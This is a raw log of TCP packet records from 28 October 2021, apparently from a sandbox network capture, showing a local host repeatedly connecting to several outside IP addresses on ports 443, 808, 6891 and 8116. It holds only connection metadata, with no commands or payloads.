Oct 28, 2021 04:46:03.794198990 CEST	8116	49879	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:03.962799072 CEST	8116	49879	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:03.962824106 CEST	8116	49879	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:03.962909937 CEST	49879	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:03.962934017 CEST	49879	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:03.966003895 CEST	49879	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:03.970006943 CEST	443	49878	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:03.970129013 CEST	49878	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:03.970793009 CEST	49878	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:03.970803976 CEST	443	49878	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:03.975883007 CEST	49878	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:03.975904942 CEST	443	49878	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:03.976011038 CEST	49878	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:03.976026058 CEST	443	49878	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:04.021908998 CEST	8116	49879	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:04.089529991 CEST	49880	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:04.089577913 CEST	443	49880	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:04.089682102 CEST	49880	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:04.090393066 CEST	49880	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:04.090414047 CEST	443	49880	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:04.581024885 CEST	443	49880	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:04.582494974 CEST	49880	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:04.583630085 CEST	49880	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:04.583640099 CEST	443	49880	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:04.587492943 CEST	49880	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:04.587505102 CEST	443	49880	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:04.587631941 CEST	49880	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:04.587642908 CEST	443	49880	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:04.682488918 CEST	443	49878	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:04.682563066 CEST	443	49878	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:04.682611942 CEST	49878	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:04.682674885 CEST	49878	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:04.690131903 CEST	49878	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:04.690166950 CEST	443	49878	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:04.810051918 CEST	49881	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:04.968158007 CEST	808	49881	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:04.968327999 CEST	49881	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:04.969000101 CEST	49881	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:05.126960993 CEST	808	49881	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:05.127007008 CEST	808	49881	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:05.127217054 CEST	49881	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:05.127934933 CEST	49881	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:05.132303953 CEST	49881	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:05.132570982 CEST	49881	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:05.277421951 CEST	443	49880	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:05.277503967 CEST	443	49880	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:05.277590036 CEST	49880	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:05.277614117 CEST	49880	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:05.280112028 CEST	49880	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:05.280138969 CEST	443	49880	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:05.285820007 CEST	808	49881	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:05.290173054 CEST	808	49881	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:05.290256977 CEST	808	49881	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:05.290283918 CEST	808	49881	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:05.290328026 CEST	808	49881	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:05.430699110 CEST	49882	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:05.590969086 CEST	808	49882	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:05.591103077 CEST	49882	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:05.591779947 CEST	49882	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:05.680970907 CEST	808	49881	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:05.680995941 CEST	808	49881	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:05.681054115 CEST	49881	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:05.681080103 CEST	49881	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:05.686841011 CEST	49881	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:05.753038883 CEST	808	49882	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:05.753153086 CEST	808	49882	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:05.753355980 CEST	49882	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:05.753894091 CEST	49882	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:05.756917953 CEST	49882	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:05.757046938 CEST	49882	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:05.826790094 CEST	49883	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:05.844805956 CEST	808	49881	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:05.914020061 CEST	808	49882	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:05.916985035 CEST	808	49882	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:05.917043924 CEST	808	49882	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:05.917077065 CEST	808	49882	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:05.993448019 CEST	6891	49883	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:05.993668079 CEST	49883	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:05.994939089 CEST	49883	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:06.161899090 CEST	6891	49883	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:06.161926985 CEST	6891	49883	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:06.162055969 CEST	49883	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:06.163242102 CEST	49883	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:06.168025970 CEST	49883	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:06.168129921 CEST	49883	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:06.309120893 CEST	808	49882	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:06.309155941 CEST	808	49882	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:06.309295893 CEST	49882	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:06.309360981 CEST	49882	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:06.311506033 CEST	49882	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:06.335237026 CEST	6891	49883	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:06.374346972 CEST	6891	49883	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:06.429318905 CEST	49884	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:06.471729040 CEST	808	49882	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:06.594584942 CEST	6891	49884	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:06.594727993 CEST	49884	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:06.595727921 CEST	49884	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:06.719607115 CEST	6891	49883	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:06.719626904 CEST	6891	49883	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:06.719778061 CEST	49883	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:06.719892025 CEST	49883	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:06.730706930 CEST	49883	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:06.760828972 CEST	6891	49884	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:06.761065006 CEST	6891	49884	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:06.761133909 CEST	49884	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:06.762022018 CEST	49884	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:06.767410994 CEST	49884	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:06.767549038 CEST	49884	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:06.854496002 CEST	49886	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:06.897397995 CEST	6891	49883	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:06.914212942 CEST	8116	49886	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:06.914350986 CEST	49886	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:06.915097952 CEST	49886	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:06.932682037 CEST	6891	49884	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:06.932718992 CEST	6891	49884	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:06.970312119 CEST	6891	49884	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:06.974533081 CEST	8116	49886	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:06.974798918 CEST	8116	49886	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:06.974877119 CEST	49886	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:06.975486040 CEST	49886	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:06.979131937 CEST	49886	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:06.979234934 CEST	49886	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:07.038706064 CEST	8116	49886	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:07.039299011 CEST	8116	49886	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:07.078857899 CEST	8116	49886	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:07.209316015 CEST	8116	49886	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:07.209347963 CEST	8116	49886	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:07.209445953 CEST	49886	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:07.218086958 CEST	49886	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:07.277765989 CEST	8116	49886	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:07.316296101 CEST	6891	49884	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:07.316323996 CEST	6891	49884	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:07.316363096 CEST	49884	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:07.316394091 CEST	49884	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:07.318552971 CEST	49884	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:07.341759920 CEST	49887	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:07.341806889 CEST	443	49887	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:07.341877937 CEST	49887	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:07.342468023 CEST	49887	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:07.342479944 CEST	443	49887	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:07.429718018 CEST	49888	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:07.483824968 CEST	6891	49884	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:07.484826088 CEST	8116	49888	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:07.484978914 CEST	49888	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:07.486006975 CEST	49888	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:07.541019917 CEST	8116	49888	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:07.541177988 CEST	8116	49888	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:07.541302919 CEST	49888	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:07.542543888 CEST	49888	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:07.545939922 CEST	49888	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:07.546029091 CEST	49888	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:07.600931883 CEST	8116	49888	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:07.601195097 CEST	8116	49888	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:07.601552963 CEST	8116	49888	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:07.772345066 CEST	8116	49888	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:07.772420883 CEST	8116	49888	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:07.772594929 CEST	49888	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:07.825324059 CEST	49888	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:07.838968992 CEST	443	49887	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:07.839505911 CEST	49887	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:07.840868950 CEST	49887	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:07.840879917 CEST	443	49887	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:07.844332933 CEST	49887	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:07.844343901 CEST	443	49887	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:07.844430923 CEST	49887	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:07.844440937 CEST	443	49887	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:07.880390882 CEST	8116	49888	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:07.946660042 CEST	49889	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:07.946729898 CEST	443	49889	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:07.946832895 CEST	49889	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:07.952405930 CEST	49889	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:07.952461004 CEST	443	49889	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:08.485591888 CEST	443	49889	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:08.485680103 CEST	49889	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:08.486407042 CEST	49889	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:08.486423969 CEST	443	49889	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:08.495508909 CEST	49889	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:08.495544910 CEST	443	49889	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:08.495661974 CEST	49889	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:08.495676994 CEST	443	49889	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:08.542648077 CEST	443	49887	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:08.542735100 CEST	443	49887	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:08.542783976 CEST	49887	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:08.542826891 CEST	49887	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:08.548238039 CEST	49887	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:08.548274040 CEST	443	49887	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:09.033469915 CEST	49890	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:09.195713997 CEST	808	49890	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:09.195902109 CEST	49890	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:09.196777105 CEST	49890	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:09.206016064 CEST	443	49889	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:09.206098080 CEST	443	49889	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:09.206207037 CEST	49889	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:09.206268072 CEST	49889	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:09.209578991 CEST	49889	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:09.209603071 CEST	443	49889	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:09.354509115 CEST	49891	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:09.358715057 CEST	808	49890	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:09.358743906 CEST	808	49890	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:09.360512972 CEST	49890	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:09.361066103 CEST	49890	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:09.514295101 CEST	808	49891	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:09.514609098 CEST	49891	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:09.526012897 CEST	808	49890	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:09.633394957 CEST	49890	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:09.633471966 CEST	49890	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:09.638890028 CEST	49891	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:09.795593977 CEST	808	49890	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:09.795644045 CEST	808	49890	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:09.795663118 CEST	808	49890	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:09.797648907 CEST	808	49891	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:09.797852039 CEST	808	49891	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:09.797915936 CEST	49891	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:09.798471928 CEST	49891	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:09.801474094 CEST	49891	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:09.801565886 CEST	49891	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:09.956751108 CEST	808	49891	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:09.959973097 CEST	808	49891	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:09.960021019 CEST	808	49891	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:09.960046053 CEST	808	49891	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:09.960072994 CEST	808	49891	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:10.176363945 CEST	808	49890	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:10.176393032 CEST	808	49890	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:10.176486015 CEST	49890	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:10.176537991 CEST	49890	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:10.255511999 CEST	49890	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:10.334814072 CEST	808	49891	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:10.334840059 CEST	808	49891	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:10.334939957 CEST	49891	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:10.334981918 CEST	49891	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:10.358725071 CEST	49891	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:10.385904074 CEST	49892	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:10.417535067 CEST	808	49890	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:10.479367018 CEST	49893	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:10.517122030 CEST	808	49891	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:10.552426100 CEST	6891	49892	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:10.552525997 CEST	49892	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:10.553134918 CEST	49892	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:10.645981073 CEST	6891	49893	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:10.646089077 CEST	49893	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:10.646975994 CEST	49893	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:10.719434023 CEST	6891	49892	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:10.719456911 CEST	6891	49892	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:10.719552994 CEST	49892	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:10.720037937 CEST	49892	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:10.722817898 CEST	49892	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:10.722945929 CEST	49892	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:10.813410044 CEST	6891	49893	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:10.813437939 CEST	6891	49893	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:10.813544989 CEST	49893	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:10.814356089 CEST	49893	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:10.817301035 CEST	49893	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:10.817436934 CEST	49893	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:10.889240026 CEST	6891	49892	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:10.889266968 CEST	6891	49892	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:10.889278889 CEST	6891	49892	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:10.983830929 CEST	6891	49893	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:10.983861923 CEST	6891	49893	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:11.272505045 CEST	6891	49892	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:11.272540092 CEST	6891	49892	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:11.272593975 CEST	49892	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:11.272623062 CEST	49892	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:11.278678894 CEST	49892	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:11.365364075 CEST	6891	49893	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:11.365394115 CEST	6891	49893	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:11.365551949 CEST	49893	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:11.365587950 CEST	49893	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:11.367727995 CEST	49893	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:11.405144930 CEST	49894	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:11.445166111 CEST	6891	49892	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:11.459408998 CEST	8116	49894	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:11.459506989 CEST	49894	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:11.460082054 CEST	49894	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:11.476907969 CEST	49895	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:11.514362097 CEST	8116	49894	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:11.514617920 CEST	8116	49894	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:11.531049967 CEST	8116	49895	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:11.531637907 CEST	49894	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:11.531704903 CEST	49895	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:11.532877922 CEST	49894	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:11.532999039 CEST	49895	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:11.534081936 CEST	6891	49893	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:11.536017895 CEST	49894	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:11.536122084 CEST	49894	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:11.587037086 CEST	8116	49895	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:11.587146044 CEST	8116	49895	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:11.587225914 CEST	49895	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:11.587707996 CEST	49895	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:11.589934111 CEST	8116	49894	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:11.590441942 CEST	49895	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:11.590572119 CEST	49895	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:11.590656042 CEST	8116	49894	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:11.644612074 CEST	8116	49895	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:11.644649029 CEST	8116	49895	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:11.645277023 CEST	8116	49895	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:11.774137974 CEST	8116	49894	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:11.774163961 CEST	8116	49894	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:11.774250984 CEST	49894	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:11.779898882 CEST	49894	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:11.813158035 CEST	8116	49895	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:11.813199043 CEST	8116	49895	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:11.813316107 CEST	49895	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:11.816121101 CEST	49895	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:11.833961010 CEST	8116	49894	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:11.870084047 CEST	8116	49895	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:11.904486895 CEST	49896	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:11.904550076 CEST	443	49896	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:11.904706955 CEST	49896	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:11.905252934 CEST	49896	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:11.905277967 CEST	443	49896	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:11.931915045 CEST	49897	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:11.931960106 CEST	443	49897	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:11.932075977 CEST	49897	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:11.933214903 CEST	49897	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:11.933231115 CEST	443	49897	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:12.431386948 CEST	443	49896	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:12.432785034 CEST	49896	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:12.433506012 CEST	49896	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:12.433531046 CEST	443	49896	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:12.440885067 CEST	49896	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:12.440922022 CEST	443	49896	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:12.440979958 CEST	49896	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:12.440994024 CEST	443	49896	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:12.458096981 CEST	443	49897	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:12.460737944 CEST	49897	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:12.461462021 CEST	49897	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:12.461482048 CEST	443	49897	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:12.465063095 CEST	49897	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:12.465078115 CEST	443	49897	192.46.210.220	192.168.2.5
